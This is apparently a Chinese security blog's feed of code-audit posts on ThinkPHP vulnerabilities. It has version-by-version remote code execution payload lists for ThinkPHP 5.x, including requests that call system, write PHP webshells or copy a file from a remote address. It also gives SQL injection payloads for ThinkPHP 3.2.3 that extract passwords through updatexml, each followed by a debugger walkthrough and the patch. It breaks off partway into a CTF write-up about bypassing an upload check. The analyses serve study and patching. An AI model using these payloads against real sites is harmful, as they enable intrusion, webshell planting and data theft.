<h2>5.0.20</h2>
<p>默认debug=false，需要开启debug<br />
命令执行</p>
<pre><code class="">POST ?s=index/index
s=whoami&amp;_method=__construct&amp;method=POST&amp;filter[]=system
aaaa=whoami&amp;_method=__construct&amp;method=GET&amp;filter[]=system
_method=__construct&amp;method=GET&amp;filter[]=system&amp;get[]=whoami
c=system&amp;f=calc&amp;_method=filter
</code></pre>
<p>写shell</p>
<pre><code class="">POST
s=file_put_contents('Y4er.php','&lt;?php phpinfo();')&amp;_method=__construct&amp;method=POST&amp;filter[]=assert
</code></pre>
<p>有captcha路由时无需debug=true</p>
<pre><code class="">POST ?s=captcha/calc
_method=__construct&amp;filter[]=system&amp;method=GET
</code></pre>
<h2>5.0.21</h2>
<p>默认debug=false，需要开启debug<br />
命令执行</p>
<pre><code class="">POST ?s=index/index
_method=__construct&amp;filter[]=system&amp;server[REQUEST_METHOD]=calc
</code></pre>
<p>写shell</p>
<pre><code class="">POST
_method=__construct&amp;filter[]=assert&amp;server[REQUEST_METHOD]=file_put_contents('Y4er.php','&lt;?php phpinfo();')
</code></pre>
<p>有captcha路由时无需debug=true</p>
<pre><code class="">POST ?s=captcha/calc
_method=__construct&amp;filter[]=system&amp;method=GET
POST ?s=captcha
_method=__construct&amp;filter[]=system&amp;server[REQUEST_METHOD]=calc&amp;method=get
</code></pre>
<h2>5.0.22</h2>
<p>默认debug=false，需要开启debug<br />
命令执行</p>
<pre><code class="">POST ?s=index/index
_method=__construct&amp;filter[]=system&amp;server[REQUEST_METHOD]=calc
</code></pre>
<p>写shell</p>
<pre><code class="">POST
_method=__construct&amp;filter[]=assert&amp;server[REQUEST_METHOD]=file_put_contents('Y4er.php','&lt;?php phpinfo();')
</code></pre>
<p>有captcha路由时无需debug=true</p>
<pre><code class="">POST ?s=captcha/calc
_method=__construct&amp;filter[]=system&amp;method=GET
POST ?s=captcha
_method=__construct&amp;filter[]=system&amp;server[REQUEST_METHOD]=calc&amp;method=get
</code></pre>
<h2>5.0.23</h2>
<p>默认debug=false，需要开启debug<br />
命令执行</p>
<pre><code class="">POST ?s=index/index
_method=__construct&amp;filter[]=system&amp;server[REQUEST_METHOD]=calc
</code></pre>
<p>写shell</p>
<pre><code class="">POST
_method=__construct&amp;filter[]=assert&amp;server[REQUEST_METHOD]=file_put_contents('Y4er.php','&lt;?php phpinfo();')
</code></pre>
<p>有captcha路由时无需debug=true</p>
<pre><code class="">POST ?s=captcha/calc
_method=__construct&amp;filter[]=system&amp;method=GET
POST ?s=captcha
_method=__construct&amp;filter[]=system&amp;server[REQUEST_METHOD]=calc&amp;method=get
</code></pre>
<h2>5.0.24</h2>
<p>作为5.0.x的最后一个版本，rce被修复</p>
<h2>5.1.0</h2>
<p>默认debug为true<br />
命令执行</p>
<pre><code class="">POST ?s=index/index
_method=__construct&amp;filter[]=system&amp;method=GET&amp;s=calc
</code></pre>
<p>写shell</p>
<pre><code class="">POST
s=file_put_contents('Y4er.php','&lt;?php phpinfo();')&amp;_method=__construct&amp;method=POST&amp;filter[]=assert
</code></pre>
<p>有captcha路由时无需debug=true<br />
<code>"topthink/think-captcha": "2.*"</code></p>
<pre><code class="">POST ?s=captcha/calc
_method=__construct&amp;filter[]=system&amp;method=GET
POST ?s=captcha
_method=__construct&amp;filter[]=system&amp;s=calc&amp;method=get
</code></pre>
<h2>5.1.1</h2>
<p>命令执行</p>
<pre><code class="">POST ?s=index/index
_method=__construct&amp;filter[]=system&amp;method=GET&amp;s=calc
</code></pre>
<p>写shell</p>
<pre><code class="">POST
s=file_put_contents('Y4er.php','&lt;?php phpinfo();')&amp;_method=__construct&amp;method=POST&amp;filter[]=assert
</code></pre>
<p>有captcha路由时无需debug=true</p>
<pre><code class="">POST ?s=captcha/calc
_method=__construct&amp;filter[]=system&amp;method=GET
POST ?s=captcha
_method=__construct&amp;filter[]=system&amp;s=calc&amp;method=get
</code></pre>
<p><strong>至此，不再一个一个版本测了，费时费力。</strong><br />
基于<code>__construct</code>的payload大部分出现在5.0.x及低版本的5.1.x中。下文分析另一种rce。</p>
<h1>未开启强制路由导致rce</h1>
<p>这种rce的payload多形如</p>
<pre><code class="">?s=index/thinkRequest/input&amp;filter[]=system&amp;data=pwd
?s=index/thinkviewdriverPhp/display&amp;content=&lt;?php phpinfo();?&gt;
?s=index/thinktemplatedriverfile/write&amp;cacheFile=shell.php&amp;content=&lt;?php phpinfo();?&gt;
?s=index/thinkContainer/invokefunction&amp;function=call_user_func_array&amp;vars[0]=system&amp;vars[1][]=id
?s=index/thinkapp/invokefunction&amp;function=call_user_func_array&amp;vars[0]=system&amp;vars[1][]=id
</code></pre>
<h2>环境</h2>
<pre><code class="language-json ">"require": {
    "php": "&gt;=5.6.0",
    "topthink/framework": "5.1.29",
    "topthink/think-captcha": "2.*"
},
</code></pre>
<h2>分析</h2>
<p><img src="/wp-content/uploads/2019/11/20191127229702.jpg" alt="image" /><br />
thinkphp默认没有开启强制路由，而且默认开启路由兼容模式。那么我们可以用兼容模式来调用控制器，当没有对控制器过滤时，我们可以调用任意的方法来执行。上文提到所有用户参数都会经过 <code>Request</code> 类的 <code>input</code> 方法处理，该方法会调用 <code>filterValue</code> 方法，而 <code>filterValue</code> 方法中使用了 <code>call_user_func</code> ，那么我们就来尝试利用这个方法。访问</p>
<pre><code class="">http://php.local/thinkphp5.1.30/public/?s=index/thinkRequest/input&amp;filter[]=system&amp;data=whoami
</code></pre>
<p>打断点跟进到<code>thinkphp/library/think/App.php:402</code></p>
<p><img src="/wp-content/uploads/2019/11/20191127223178.jpg" alt="image" /></p>
<p><code>routeCheck()</code>返回<code>$dispatch</code>是将 <code>/</code> 用 <code>|</code> 替换</p>
<p><img src="/wp-content/uploads/2019/11/20191127225278.jpg" alt="image" /></p>
<p>然后进入<code>init()</code></p>
<pre><code class="language-php ">public function init()
    {
        // 解析默认的URL规则
        $result = $this-&gt;parseUrl($this-&gt;dispatch);

        return (new Module($this-&gt;request, $this-&gt;rule, $result))-&gt;init();
    }
</code></pre>
<p>进入<code>parseUrl()</code></p>
<p><img src="/wp-content/uploads/2019/11/20191127223006.jpg" alt="image" /></p>
<p>进入<code>parseUrlPath()</code></p>
<p><img src="/wp-content/uploads/2019/11/20191127227841.jpg" alt="image" /></p>
<p>在此处从url中获取<code>[模块/控制器/操作]</code>，导致parseUrl()返回的route为<br />
<img src="/wp-content/uploads/2019/11/20191127228865.jpg" alt="image" /></p>
<p>导致<code>thinkphp/library/think/App.php:406</code>的<code>$dispatch</code>为</p>
<p><img src="/wp-content/uploads/2019/11/20191127221878.jpg" alt="image" /></p>
<p>直接调用了<code>input()</code>函数，然后会执行到 <code>App</code> 类的 <code>run</code> 方法，进而调用 <code>Dispatch</code> 类的 <code>run</code> 方法，该方法会调用关键函数 <code>exec</code> <code>thinkphp/library/think/route/dispatch/Module.php:84</code>，进而调用反射类<br />
<img src="/wp-content/uploads/2019/11/20191127221279.jpg" alt="image" /></p>
<p>此时反射类的参数均可控，调用<code>input()</code></p>
<p><img src="/wp-content/uploads/2019/11/20191127223123.jpg" alt="image" /></p>
<p>在进入<code>input()</code>之后继续进入<code>$this-&gt;filterValue()</code></p>
<p><img src="/wp-content/uploads/2019/11/20191127226668.jpg" alt="image" /></p>
<p>跟进后执行<code>call_user_func()</code>，实现rce</p>
<p><img src="/wp-content/uploads/2019/11/20191127221161.jpg" alt="image" /><br />
整个流程中没有对控制器进行合法校验，导致可以调用任意控制器，实现rce。</p>
<h2>修复</h2>
<pre><code class="">// 获取控制器名
$controller = strip_tags($result[1] ?: $config['default_controller']);

if (!preg_match('/^[A-Za-z](w|.)*$/', $controller)) {
    throw new HttpException(404, 'controller not exists:' . $controller);
}
</code></pre>
<p>大于5.0.23、大于5.1.30获取时使用正则匹配校验</p>
<h2>payload</h2>
<p>命令执行</p>
<pre><code class="">5.0.x
?s=index/thinkapp/invokefunction&amp;function=call_user_func_array&amp;vars[0]=system&amp;vars[1][]=id
5.1.x
?s=index/thinkRequest/input&amp;filter[]=system&amp;data=pwd
?s=index/thinkContainer/invokefunction&amp;function=call_user_func_array&amp;vars[0]=system&amp;vars[1][]=id
?s=index/thinkapp/invokefunction&amp;function=call_user_func_array&amp;vars[0]=system&amp;vars[1][]=id
</code></pre>
<p>写shell</p>
<pre><code class="">5.0.x
?s=/index/thinkapp/invokefunction&amp;function=call_user_func_array&amp;vars[0]=assert&amp;vars[1][]=copy(%27远程地址%27,%27333.php%27)
5.1.x
?s=index/thinktemplatedriverfile/write&amp;cacheFile=shell.php&amp;content=&lt;?php phpinfo();?&gt;
?s=index/thinkviewdriverThink/display&amp;template=&lt;?php phpinfo();?&gt;             //shell生成在runtime/temp/md5(template).php
?s=/index/thinkapp/invokefunction&amp;function=call_user_func_array&amp;vars[0]=assert&amp;vars[1][]=copy(%27远程地址%27,%27333.php%27)
</code></pre>
<p>其他</p>
<pre><code class="">5.0.x
?s=index/thinkconfig/get&amp;name=database.username # 获取配置信息
?s=index/thinkLang/load&amp;file=../../test.jpg    # 包含任意文件
?s=index/thinkConfig/load&amp;file=../../t.php     # 包含任意.php文件
</code></pre>
<p>如果你碰到了控制器不存在的情况，是因为在tp获取控制器时，<code>thinkphp/library/think/App.php:561</code>会把url转为小写，导致控制器加载失败。<br />
<img src="/wp-content/uploads/2019/11/20191127221875.jpg" alt="image" /></p>
<h2>总结</h2>
<p>其实thinkphp的rce差不多都被拦截了，我们其实更需要将rce转化为其他姿势，比如文件包含去包含日志，或者转向反序列化。姿势太多，总结不过来，这篇文章就到这里把。</p>
<h1>参考</h1>
<ul>
<li>https://xz.aliyun.com/t/6106</li>
<li>https://www.cnblogs.com/iamstudy/articles/thinkphp_5_x_rce_1.html</li>
<li>https://github.com/Mochazz/ThinkPHP-Vuln</li>
<li>https://xz.aliyun.com/search?keyword=thinkphp</li>
<li>https://github.com/Lucifer1993/TPscan</li>
<li>https://www.kancloud.cn/manual/thinkphp5_1/353946</li>
<li>https://www.kancloud.cn/manual/thinkphp5</li>
<li>https://github.com/top-think/thinkphp</li>
</ul>
<p><strong>文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。</strong></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Thinkphp3 漏洞总结</title>
		<link>/audit/1062.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Wed, 27 Nov 2019 15:24:44 +0000</pubDate>
				<category><![CDATA[代码审计]]></category>
		<category><![CDATA[thinkphp]]></category>
		<category><![CDATA[注入]]></category>
		<guid isPermaLink="false">/?p=1062</guid>

					<description><![CDATA[先总结thinkphp3的漏洞 写在前文 Thinkphp3 开发手册 Thinkphp3.2.3 安全开发须知 ThinkPHP中的常用方法汇总总结:M方法，D方法，U方法，I方...]]></description>
										<content:encoded><![CDATA[<p>先总结<span class="wpcom_tag_link"><a href="/tags/thinkphp" title="thinkphp" target="_blank">thinkphp</a></span>3的漏洞</p>
<h1>写在前文</h1>
<ul>
<li><a href="https://www.kancloud.cn/manual/thinkphp/1678">Thinkphp3 开发手册</a></li>
<li><a href="https://xz.aliyun.com/t/2630">Thinkphp3.2.3 安全开发须知</a></li>
<li><a href="https://www.cnblogs.com/kenshinobiy/p/9165662.html">ThinkPHP中的常用方法汇总总结:M方法，D方法，U方法，I方法</a></li>
</ul>
<h1>thinkphp3.2.3 where<span class="wpcom_tag_link"><a href="/tags/%e6%b3%a8%e5%85%a5" title="注入" target="_blank">注入</a></span></h1>
<h2>基础</h2>
<p>thinkphp3版本路由格式</p>
<pre><code class="">http://php.local/thinkphp3.2.3/index.php/Home/Index/index/id/1
                                模块/控制器/方法/参数
</code></pre>
<p>还可以用</p>
<pre><code class="">http://php.local/thinkphp3.2.3/index.php?s=Home/Index/index/id/1
</code></pre>
<p>具体移步 https://www.kancloud.cn/manual/thinkphp/1711</p>
<p>thinkphp内置了几种方法，比如I()，M()等等</p>
<pre><code class="">A 快速实例化Action类库
B 执行行为类
C 配置参数存取方法
D 快速实例化Model类库
F 快速简单文本数据存取方法
L 语言参数存取方法
M 快速高性能实例化模型
R 快速远程调用Action类方法
S 快速缓存存取方法
U URL动态生成和重定向方法
W 快速Widget输出方法
</code></pre>
<p>具体看 <code>ThinkPHP/Common/functions.php</code></p>
<h2>配置环境</h2>
<p>首先配置好数据库<br />
ThinkPHP/Conf/convention.php</p>
<pre><code class="language-php ">/* 数据库设置 */
'DB_TYPE'                =&gt; 'mysql', // 数据库类型
'DB_HOST'                =&gt; 'localhost', // 服务器地址
'DB_NAME'                =&gt; 'thinkphp', // 数据库名
'DB_USER'                =&gt; 'root', // 用户名
'DB_PWD'                 =&gt; 'root', // 密码
'DB_PORT'                =&gt; '3306', // 端口
</code></pre>
<p><img src="https://y4er.com/img/uploads/20191127223938.jpg" alt="image" /><br />
然后访问 http://php.local/thinkphp3.2.3/ 会自动生成模块，当前目录结构</p>
<details>
<summary>太多了，展开查看</summary>
<pre><code class="">PS E:codephpthinkphpthinkphp3.2.3&gt; tree
卷 文档 的文件夹 PATH 列表
卷序列号为 DA18-EBFA
E:.
├─.idea
├─Application            应用目录
│  ├─Common           公共模块
│  │  ├─Common
│  │  └─Conf
│  ├─Home                首页模块
│  │  ├─Common
│  │  ├─Conf
│  │  ├─Controller
│  │  ├─Model
│  │  └─View
│  └─Runtime             运行时
│      ├─Cache
│      │  └─Home
│      ├─Data
│      ├─Logs
│      │  └─Home
│      └─Temp
├─Public
└─ThinkPHP             核心
    ├─Common
    ├─Conf
    ├─Lang
    ├─Library
    │  ├─Behavior
    │  ├─Org
    │  │  ├─Net
    │  │  └─Util
    │  ├─Think
    │  │  ├─Cache
    │  │  │  └─Driver
    │  │  ├─Controller
    │  │  ├─Crypt
    │  │  │  └─Driver
    │  │  ├─Db
    │  │  │  └─Driver
    │  │  ├─Image
    │  │  │  └─Driver
    │  │  ├─Log
    │  │  │  └─Driver
    │  │  ├─Model
    │  │  ├─Session
    │  │  │  └─Driver
    │  │  ├─Storage
    │  │  │  └─Driver
    │  │  ├─Template
    │  │  │  ├─Driver
    │  │  │  └─TagLib
    │  │  ├─Upload
    │  │  │  └─Driver
    │  │  │      ├─Bcs
    │  │  │      └─Qiniu
    │  │  └─Verify
    │  │      ├─bgs
    │  │      └─zhttfs
    │  └─Vendor
    │      ├─Boris
    │      ├─EaseTemplate
    │      ├─Hprose
    │      ├─jsonRPC
    │      ├─phpRPC
    │      │  ├─dhparams
    │      │  └─pecl
    │      │      └─xxtea
    │      │          └─test
    │      ├─SmartTemplate
    │      ├─Smarty
    │      │  ├─plugins
    │      │  └─sysplugins
    │      ├─spyc
    │      │  ├─examples
    │      │  ├─php4
    │      │  └─tests
    │      └─TemplateLite
    │          └─internal
    ├─Mode                  模型
    │  ├─Api
    │  ├─Lite
    │  └─Sae
    └─Tpl
</code></pre>
</details>
<h2>配置控制器</h2>
<p>Application/Home/Controller/IndexController.class.php</p>
<pre><code class="language-php ">public function index()
{
$data = M('users')-&gt;find(I('GET.id'));
var_dump($data);
}
</code></pre>
<p><img src="/wp-content/uploads/2019/11/20191127224711.jpg" alt="image" /></p>
<h2>payload</h2>
<pre><code class="">http://php.local/thinkphp3.2.3/?id[where]=1 and 1=updatexml(1,concat(0x7e,(select password from users limit 1),0x7e),1)#
</code></pre>
<h2>分析</h2>
<p>当我们简单传入<code>id=1'</code>时，跟着走一遍</p>
<p><code>I()</code>函数中获取参数，会经过<code>ThinkPHP/Common/functions.php:391</code> <code>htmlspecialchars()</code>进行处理，最后在<code>ThinkPHP/Common/functions.php:442</code>回调<code>think_filter</code>函数进行过滤</p>
<pre><code class="language-php ">function think_filter(&amp;$value)
{
    // TODO 其他安全过滤

    // 过滤查询特殊字符
    if (preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i', $value)) {
        $value .= ' ';
    }
}
</code></pre>
<p>然后进入<code>ThinkPHP/Library/Think/Model.class.php:779</code>的<code>find()</code>方法，又会经过<code>ThinkPHP/Library/Think/Model.class.php:811</code> <code>_parseOptions()</code>方法<br />
<img src="/wp-content/uploads/2019/11/20191127220223.jpg" alt="image" /><br />
到这我们的id还是为<code>1'</code>的<br />
<img src="/wp-content/uploads/2019/11/20191127226415.jpg" alt="image" /><br />
跟进<code>_parseOptions()</code> <code>ThinkPHP/Library/Think/Model.class.php:681</code><br />
其中有类型验证<code>_parseType()</code>函数</p>
<pre><code class="language-php ">// 字段类型验证
if (isset($options['where']) &amp;&amp; is_array($options['where']) &amp;&amp; !empty($fields) &amp;&amp; !isset($options['join'])) {
    // 对数组查询条件进行字段类型检查
    foreach ($options['where'] as $key =&gt; $val) {
        $key = trim($key);
        if (in_array($key, $fields, true)) {
            if (is_scalar($val)) {
                $this-&gt;_parseType($options['where'], $key);
            }
        } elseif (!is_numeric($key) &amp;&amp; '_' != substr($key, 0, 1) &amp;&amp; false === strpos($key, '.') &amp;&amp; false === strpos($key, '(') &amp;&amp; false === strpos($key, '|') &amp;&amp; false === strpos($key, '&amp;')) {
            if (!empty($this-&gt;options['strict'])) {
                E(L('_ERROR_QUERY_EXPRESS_') . ':[' . $key . '=&gt;' . $val . ']');
            }
            unset($options['where'][$key]);
        }
    }
}
</code></pre>
<p><strong>如果满足if条件则进入</strong> <code>ThinkPHP/Library/Think/Model.class.php:737</code></p>
<pre><code class="language-php ">protected function _parseType(&amp;$data, $key)
{
    if (!isset($this-&gt;options['bind'][':' . $key]) &amp;&amp; isset($this-&gt;fields['_type'][$key])) {
        $fieldType = strtolower($this-&gt;fields['_type'][$key]);
        if (false !== strpos($fieldType, 'enum')) {
            // 支持ENUM类型优先检测
        } elseif (false === strpos($fieldType, 'bigint') &amp;&amp; false !== strpos($fieldType, 'int')) {
            $data[$key] = intval($data[$key]);
        } elseif (false !== strpos($fieldType, 'float') || false !== strpos($fieldType, 'double')) {
            $data[$key] = floatval($data[$key]);
        } elseif (false !== strpos($fieldType, 'bool')) {
            $data[$key] = (bool) $data[$key];
        }
    }
}
</code></pre>
<p>在这他把id进行了强制类型转换，然后返回给<code>_parseOptions()</code>，最终带入<code>$this-&gt;db-&gt;select($options)</code>进行查询避免了注入问题。</p>
<p>理一下 传入<code>id=1'</code> -> <code>I()</code> -> <code>find()</code> -> <code>_parseOptions()</code> -> <code>_parseType()</code> 然后将我们的字符串清理了。<br />
要知道id参数被改变的时间点在<code>_parseType()</code>中，那进入这个方法要满足</p>
<pre><code class="language-php ">if (isset($options['where']) &amp;&amp; is_array($options['where']) &amp;&amp; !empty($fields) &amp;&amp; !isset($options['join']))
</code></pre>
<p>所以传入<code>index.php?id[where]=3 and 1=1</code>就可以注入了</p>
<h2>修复</h2>
<p>https://github.com/top-think/thinkphp/commit/9e1db19c1e455450cfebb8b573bb51ab7a1cef04<br />
<img src="/wp-content/uploads/2019/11/20191127224820.jpg" alt="image" /></p>
<p><code>v3.2.4</code>将<code>$options</code>和<code>$this-&gt;options</code>进行了区分，从而传入的参数无法污染到<code>$this-&gt;options</code>，也就无法控制sql语句了。</p>
<h1>thinkphp 3.2.3 exp注入</h1>
<h2>payload</h2>
<p><img src="/wp-content/uploads/2019/11/20191127227978.jpg" alt="image" /></p>
<pre><code class="">http://php.local/thinkphp3.2.3/index.php?username[0]=exp&amp;username[1]==1 and updatexml(1,concat(0x7e,user(),0x7e),1)
</code></pre>
<h2>环境</h2>
<pre><code class="language-php ">public function index()
{
    $User = D('Users');
    $map = array('username' =&gt; $_GET['username']);
    // $map = array('username' =&gt; I('username'));
    $user = $User-&gt;where($map)-&gt;find();
    var_dump($user);
}
</code></pre>
<p>我们使用全局数组传参，而不是<code>I()</code>函数。下文会解释</p>
<h2>分析</h2>
<p>打断点分析，<code>find()</code>函数会执行到<code>ThinkPHP/Library/Think/Model.class.php:822</code>的<code>$this-&gt;db-&gt;select($options)</code></p>
<pre><code class="language-php ">public function select($options = array())
{
    $this-&gt;model = $options['model'];
    $this-&gt;parseBind(!empty($options['bind']) ? $options['bind'] : array());
    $sql    = $this-&gt;buildSelectSql($options);
    $result = $this-&gt;query($sql, !empty($options['fetch_sql']) ? true : false);
    return $result;
}
</code></pre>
<p>然后跟进<code>buildSelectSql()</code></p>
<pre><code class="language-php ">public function buildSelectSql($options = array())
{
    if (isset($options['page'])) {
        // 根据页数计算limit
        list($page, $listRows) = $options['page'];
        $page                  = $page &gt; 0 ? $page : 1;
        $listRows              = $listRows &gt; 0 ? $listRows : (is_numeric($options['limit']) ? $options['limit'] : 20);
        $offset                = $listRows * ($page - 1);
        $options['limit']      = $offset . ',' . $listRows;
    }
    $sql = $this-&gt;parseSql($this-&gt;selectSql, $options);
    return $sql;
}
</code></pre>
<p>跟进<code>$this-&gt;parseSql()</code>到</p>
<pre><code class="language-php ">public function parseSql($sql, $options = array())
{
    $sql = str_replace(
        array('%TABLE%', '%DISTINCT%', '%FIELD%', '%JOIN%', '%WHERE%', '%GROUP%', '%HAVING%', '%ORDER%', '%LIMIT%', '%UNION%', '%LOCK%', '%COMMENT%', '%FORCE%'),
        array(
            $this-&gt;parseTable($options['table']),
            $this-&gt;parseDistinct(isset($options['distinct']) ? $options['distinct'] : false),
            $this-&gt;parseField(!empty($options['field']) ? $options['field'] : '*'),
            $this-&gt;parseJoin(!empty($options['join']) ? $options['join'] : ''),
            $this-&gt;parseWhere(!empty($options['where']) ? $options['where'] : ''),
            $this-&gt;parseGroup(!empty($options['group']) ? $options['group'] : ''),
            $this-&gt;parseHaving(!empty($options['having']) ? $options['having'] : ''),
            $this-&gt;parseOrder(!empty($options['order']) ? $options['order'] : ''),
            $this-&gt;parseLimit(!empty($options['limit']) ? $options['limit'] : ''),
            $this-&gt;parseUnion(!empty($options['union']) ? $options['union'] : ''),
            $this-&gt;parseLock(isset($options['lock']) ? $options['lock'] : false),
            $this-&gt;parseComment(!empty($options['comment']) ? $options['comment'] : ''),
            $this-&gt;parseForce(!empty($options['force']) ? $options['force'] : ''),
        ), $sql);
    return $sql;
}
</code></pre>
<p>这部分是通过<code>parse</code>系列函数来构建SQL语句，我们的关注点在<code>parseWhere()</code>函数，跟进到<br />
<code>ThinkPHP/Library/Think/Db/Driver.class.php:586</code>的 <code>parseWhereItem()</code><br />
<img src="/wp-content/uploads/2019/11/20191127224206.jpg" alt="image" /><br />
关键点就在于</p>
<pre><code class="language-php ">elseif ('bind' == $exp) {
    // 使用表达式
    $whereStr .= $key . ' = :' . $val[1];
} elseif ('exp' == $exp) {
    // 使用表达式
    $whereStr .= $key . ' ' . $val[1];
}
</code></pre>
<p>在exp的那个elseif语句中把<code>where</code>条件直接用点拼接，造成SQL注入。让我们来分析下怎么进入到这个语句块，首先在<code>parseWhere()</code>中是肯定会进入<code>parseWhereItem()</code>方法中，这是无可厚非的。再来看<br />
<img src="/wp-content/uploads/2019/11/20191127220531.jpg" alt="image" /><br />
要满足$val是数组，并且索引为0的值为字符串&#8217;exp&#8217;，那么就可以拼接sql语句了。所以我们传入<code>username[0]=exp&amp;username[1]==1 and aaa</code><br />
细心的同学会发现bind也是拼接的，下文分析。</p>
<p>然后我们来说下为什么<strong>不用</strong><code>I()</code>函数来获取参数，而使用原生超全局数组。在<code>I()</code>函数中，最后回调了一个<code>think_filter()</code>函数</p>
<pre><code class="language-php ">is_array($data) &amp;&amp; array_walk_recursive($data, 'think_filter');
</code></pre>
<pre><code class="language-php ">function think_filter(&amp;$value)
{
    // TODO 其他安全过滤

    // 过滤查询特殊字符
    if (preg_match('/^(NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i', $value)) {
        $value .= ' ';
    }
}
</code></pre>
<p>可以看到过滤了EXP字符串，会在后面拼接上一个空格，那这样后面<code>parseWhereItem()</code>中就不满足条件抛出异常导致无法注入。</p>
<h2>修复</h2>
<p>使用<code>I()</code>函数代替超全局数组获取变量</p>
<h1>thinkphp 3.2.3 bind注入</h1>
<p>上文中写到了exp注入，这篇讲bind注入</p>
<h2>payload</h2>
<pre><code class="">http://php.local/thinkphp3.2.3/index.php?id[0]=bind&amp;id[1]=0 and updatexml(1,concat(0x7e,user(),0x7e),1)&amp;password=1
</code></pre>
<p>这里需要注意<code>id[1]=0</code>原理在下面说</p>
<h2>搭建环境</h2>
<pre><code class="language-php ">public function index()
{
    $User = M("Users");
    $user['id'] = I('id');
    $data['password'] = I('password');
    $valu = $User-&gt;where($user)-&gt;save($data);
    var_dump($valu);
}
</code></pre>
<p>输入payload，为了讲解上文中<code>id[1]=0</code>的原理，我们输入payload</p>
<pre><code class="">http://php.local/thinkphp3.2.3/index.php?id[0]=bind&amp;id[1]=aa&amp;password=1
</code></pre>
<p>报错<br />
<img src="/wp-content/uploads/2019/11/20191127226427.jpg" alt="image" /></p>
<p>打断点在save()函数<br />
<img src="/wp-content/uploads/2019/11/20191127229947.jpg" alt="image" /></p>
<p>跟进后进入update()函数<code>ThinkPHP/Library/Think/Db/Driver.class.php:983</code><br />
<img src="/wp-content/uploads/2019/11/20191127222851.jpg" alt="image" /></p>
<p>可以看到经过了<code>parseWhere()</code>，那么根据上文我们分析过的exp注入，知道还有一个<code>bind</code>注入，所以传入<code>id[0]=bind&amp;id[1]=aa</code>然后我们的sql语句就变为</p>
<p><img src="/wp-content/uploads/2019/11/20191127226085.jpg" alt="image" /></p>
<p>可以看到多了个冒号，在哪里替换了这个冒号？我们进入到<br />
<code>ThinkPHP/Library/Think/Db/Driver.class.php:207</code>的<code>execute()</code></p>
<pre><code class="language-php ">if (!empty($this-&gt;bind)) {
    $that           = $this;
    $this-&gt;queryStr = strtr($this-&gt;queryStr, array_map(function ($val) use ($that) { return ''' . $that-&gt;escapeString($val) . ''';}, $this-&gt;bind));
}
</code></pre>
<p>这几行就是替换操作，是将<code>:0</code>替换为外部传进来的字符串，所以我们让我们的参数也等于0，这样就拼接了一个<code>:0</code>，然后会通过<code>strtr()</code>被替换为1，这样sql语句就通顺了。</p>
<p><img src="/wp-content/uploads/2019/11/20191127227308.jpg" alt="image" /></p>
<h2>修复</h2>
<p>https://github.com/top-think/thinkphp/commit/7e47e34af72996497c90c20bcfa3b2e1cedd7fa4</p>
<p><img src="/wp-content/uploads/2019/11/20191127228454.jpg" alt="image" /></p>
<p><strong>文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。</strong></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Thinkphp错误使用Upload类导致getshell</title>
		<link>/audit/1035.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Fri, 08 Nov 2019 08:50:53 +0000</pubDate>
				<category><![CDATA[代码审计]]></category>
		<category><![CDATA[getshell]]></category>
		<category><![CDATA[thinkphp]]></category>
		<guid isPermaLink="false">/?p=1035</guid>

					<description><![CDATA[对tp的错误使用导致的。 本文来自RoarCTF的 simple_upload 源代码 &#60;?php namespace Home\Controller; use Think\...]]></description>
										<content:encoded><![CDATA[<p>对tp的错误使用导致的。</p>
<p>本文来自RoarCTF的 <a href="https://github.com/berTrAM888/RoarCTF-Writeup-some-Source-Code/tree/master/Web/simple_upload">simple_upload</a></p>
<p>源代码</p>
<pre><code class="language-php ">&lt;?php
namespace Home\Controller;

use Think\Controller;

class IndexController extends Controller
{
    public function index()
    {
        show_source(__FILE__);
    }
    public function upload()
    {
        $uploadFile = $_FILES['file'] ;

        if (strstr(strtolower($uploadFile['name']), ".php") ) {
            return false;
        }

        $upload = new \Think\Upload();// 实例化上传类
        $upload-&gt;maxSize  = 4096 ;// 设置附件上传大小
        $upload-&gt;allowExts  = array('jpg', 'gif', 'png', 'jpeg');// 设置附件上传类型
        $upload-&gt;rootPath = './Public/Uploads/';// 设置附件上传目录
        $upload-&gt;savePath = '';// 设置附件上传子目录
        $info = $upload-&gt;upload() ;
        if(!$info) {// 上传错误提示错误信息
          $this-&gt;error($upload-&gt;getError());
          return;
        }else{// 上传成功 获取上传文件信息
          $url = __ROOT__.substr($upload-&gt;rootPath,1).$info['file']['savepath'].$info['file']['savename'] ;
          echo json_encode(array("url"=&gt;$url,"success"=&gt;1));
        }
    }
} 
</code></pre>
<p>源码中限制了$_FILES[file]文件名不能是.php文件，得想办法绕过。 <strong>$upload->allowExts</strong> 并不是 <strong>Think\Upload</strong> 类的正确用法，所以 <strong>allowexts</strong> 后缀名限制是无效的。</p>
<p>熟悉 <strong><span class="wpcom_tag_link"><a href="/tags/thinkphp" title="thinkphp" target="_blank">thinkphp</a></span></strong> 的应该知道， <strong>upload()</strong> 函数不传参时为多文件上传，整个 <strong>$_FILES</strong> 数组的文件都会上传保存。</p>
<p>题目中只限制了 <strong>$_FILES[file]</strong> 的上传后缀，也只给出 <strong>$_FILES[file]</strong> 上传后的路径，那我们上传多文件就可以绕过 <strong>php</strong> 后缀限制。</p>
<p><img src="https://y4er.com/img/uploads/20191023211558.png" alt="20191023211558" /></p>
<p>下一步就是要知道上传后的php文件名。看一下 <strong>think\upload</strong> 类是怎么生成文件名的</p>
<p>https://github.com/berTrAM888/RoarCTF-Writeup-some-Source-Code/blob/master/Web/simple_upload/docker/html/ThinkPHP/Library/Think/Upload.class.php#L27</p>
<pre><code class="language-php ">'saveName'     =&gt; array('uniqid', ''), //上传文件命名规则，[0]-函数名，[1]-参数，多个参数使用数组 
</code></pre>
